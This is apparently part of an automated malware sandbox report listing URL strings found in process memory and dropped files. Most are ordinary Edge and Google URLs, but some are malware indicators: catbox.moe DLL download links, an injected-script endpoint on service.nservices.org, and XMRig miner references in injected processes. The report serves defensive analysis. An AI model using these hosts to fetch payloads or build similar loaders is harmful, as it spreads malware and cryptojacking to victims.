Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log0.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?sv=2017-07-29&
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: Target.exe, 00000001.00000002.4263822421.000001D0B3FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://files.catbox.moe/k54
Source: Target.exe, 00000001.00000002.4116525327.000001D09B6C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://files.catbox.moe/k541xr.dll
Source: Target.exe, 00000001.00000002.4263822421.000001D0B3FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://files.catbox.moe/k541xr.dllJ
Source: Target.exe, 00000001.00000002.4116525327.000001D09B6C1000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 00000001.00000002.4263822421.000001D0B3FC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://files.catbox.moe/kwfxr7.dll
Source: chromecache_514.13.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_514.13.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_514.13.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_514.13.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: svchost.exe, 00000007.00000003.1738844921.000001CC776C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 00000007.00000003.1738844921.000001CC7771A000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000007.00000003.1738844921.000001CC776C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 00000007.00000003.1738844921.000001CC776A3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1738844921.000001CC776C2000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1738844921.000001CC776F4000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1738844921.000001CC776E8000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1738844921.000001CC77707000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000007.00000003.1738844921.000001CC776C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://gaana.com/
Source: zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9D12000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1676626747.000001DFC1DB0000.00000004.08000000.00040000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9C49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9D12000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1676626747.000001DFC1DB0000.00000004.08000000.00040000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9C49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9D12000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1676626747.000001DFC1DB0000.00000004.08000000.00040000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9C49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://m.kugou.com/
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://m.vk.com/
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://music.amazon.com
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://music.apple.com
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://music.yandex.com
Source: 4cb013792b196a35_0.10.dr	String found in binary or memory: https://ntp.msn.com
Source: 4cb013792b196a35_1.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&enableNetworkFirs
Source: 4cb013792b196a35_0.10.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: svchost.exe, 00000007.00000003.1738844921.000001CC776C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 00000007.00000003.1738844921.000001CC77656000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://open.spotify.com
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_514.13.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_520.13.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_520.13.dr	String found in binary or memory: https://plus.googleapis.com
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: zcezeaqsuhi.exe, 00000002.00000002.2017176866.000002A5BB72A000.00000004.00000800.00020000.00000000.sdmp, zcezeaqsuhi.exe, 00000002.00000002.2017176866.000002A5BB73E000.00000004.00000800.00020000.00000000.sdmp, injected-script.js.2.dr	String found in binary or memory: https://service.nservices.org/api/browser/GetScript?id=$
Source: zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9D12000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1676626747.000001DFC1DB0000.00000004.08000000.00040000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9C49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9D12000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1666984608.000001DFA9511000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1676626747.000001DFC1DB0000.00000004.08000000.00040000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9C49000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 00000001.00000002.4116525327.000001D09B6C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9D12000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1676626747.000001DFC1DB0000.00000004.08000000.00040000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9C49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://tidal.com/
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://web.telegram.org/
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://web.whatsapp.com
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: chromecache_520.13.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://www.deezer.com/
Source: content.js.10.dr, content_new.js.10.dr	String found in binary or memory: https://www.google.com/chrome
Source: chromecache_520.13.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_520.13.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_514.13.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_514.13.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_514.13.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://www.instagram.com
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://www.last.fm/
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://www.messenger.com
Source: 4cb013792b196a35_1.10.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://www.office.com
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://www.tiktok.com/
Source: 097fdca7-1191-436a-b8f7-6bd14d31d610.tmp.10.dr	String found in binary or memory: https://www.youtube.com
Source: Target.exe, 00000001.00000002.4137105635.000001D0AC25F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess.exe, 00000014.00000002.4110650202.0000000140465000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/benchmark/%s
Source: Target.exe, 00000001.00000002.4137105635.000001D0AC25F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess.exe, 00000014.00000002.4110650202.0000000140465000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms
Source: Target.exe, 00000001.00000002.4137105635.000001D0AC25F000.00000004.00000800.00020000.00000000.sdmp, AddInProcess.exe, 00000014.00000002.4110650202.0000000140465000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard
